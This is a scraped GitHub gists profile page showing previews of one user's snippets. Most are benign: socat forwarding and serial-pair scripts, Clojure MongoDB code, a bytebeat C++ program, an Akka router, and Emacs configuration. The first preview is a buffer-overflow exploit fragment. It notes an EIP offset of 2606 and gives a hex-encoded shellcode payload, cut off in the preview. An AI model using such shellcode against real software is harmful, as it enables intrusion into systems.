Skip to content

Instantly share code, notes, and snippets.

View iomonad's full-sized avatar
🍋
λ

iomonad iomonad

🍋
λ
  • Lutetia Parisiorum
View GitHub Profile
#Created a buffer with 2700 bytes generated by the pattern_create tool, the EIP offset was at 2606
payload = ("\xd9\xeb\xba\x23\x9c\x95\x03\xd9\x74\x24\xf4\x58\x33\xc9" +
"\xb1\x4f\x31\x50\x19\x83\xe8\xfc\x03\x50\x15\xc1\x69\x69" +
"\xeb\x8c\x92\x92\xec\xee\x1b\x77\xdd\x3c\x7f\xf3\x4c\xf0" +
"\x0b\x51\x7d\x7b\x59\x42\xf6\x09\x76\x65\xbf\xa7\xa0\x48" +
"\x40\x06\x6d\x06\x82\x09\x11\x55\xd7\xe9\x28\x96\x2a\xe8" +
"\x6d\xcb\xc5\xb8\x26\x87\x74\x2c\x42\xd5\x44\x4d\x84\x51" +
"\xf4\x35\xa1\xa6\x81\x8f\xa8\xf6\x3a\x84\xe3\xee\x31\xc2" +
"\xd3\x0f\x95\x11\x2f\x59\x92\xe1\xdb\x58\x72\x38\x23\x6b" +
"\xba\x96\x1a\x43\x37\xe7\x5b\x64\xa8\x92\x97\x96\x55\xa4" +
#!/usr/bin/zsh
socat tcp-listen:80,fork,reuseaddr tcp:localhost:8080
@iomonad
iomonad / redirect_rs232.sh
Created August 25, 2016 19:17
Il suffit de lancer un programme sur /tmp/ttyS0 et l'autre sur /tmp/ttyS1 et on a une communication bidirectionnelle série.
#!/usr/bin/zsh
socat PTY,link=/tmp/ttyS0,raw,echo=0 PTY,link=/tmp/ttyS1,raw,echo=0
;; Connect to localhost with defaut port
;; Create an instance of the database
(def ^:dynamic *conn* (mg/connect{:host "127.0.0.1"}))
(def ^:dynamic *db* (mg/get-db *conn* "hives"))
(defn hive-insert-schema [hive temp weight humidity]
"Insert hive's post values in the database"
(let [date (.toString (java.util.Date.))]
(mc/insert *db* "hive" {:instance hive
:date date
@iomonad
iomonad / vinuz.cc
Last active April 22, 2017 21:18
Viznut bytebeat composition
/* cpp -o vinuz vinuz.cc ; ./vinuz | aplay */
#include <iostream>
#include <cmath>
#include <stdint.h>
int main() {
const double R=8000;
const double C=261.625565;
const double F=R/256;
@iomonad
iomonad / workload.scala
Created June 9, 2017 21:05
akka workload balancer
package akka.routing
import scala.collection.immutable
import com.typesafe.config.Config
import com.typesafe.config.ConfigFactory
import akka.actor.ActorContext
import akka.actor.ActorSystem
import akka.actor.Props
import akka.actor.SupervisorStrategy
import akka.dispatch.BalancingDispatcherConfigurator
var translate = new Array();
translate['en'] = new Array();
translate['en']['s0'] = 'meters';
translate['en']['s5'] = 'inches';
translate['en']['s10'] = 'imperial';
translate['en']['s20'] = 'metric';
translate['en']['s30'] = 'Settings';
translate['en']['s40'] = 'Chain ring';
translate['en']['s50'] = 'Rear sproket';
int my_rand(void)
{
static int x = 42;
return ((x = x * 214013 + 2531011) >> 16) & 0x7FFF;
}
;;_
;; __ _,******
;; ,-----, _ _,**
;; | Mu! | _ ____,****
;; ;-----; _
;; \ ^__^
;; \ (^^)\_______
;; ^-(..)\ )\/\/^_^
;; ||----w |
;; __.-’’*-,.,____||_____||___,_.-
;; -*- lexical-binding: t -*-
(use-package evil
:ensure t)
(use-package evil-leader
:ensure t)
(use-package evil-nerd-commenter
:ensure t)
(require 'evil)
(require 'evil-leader)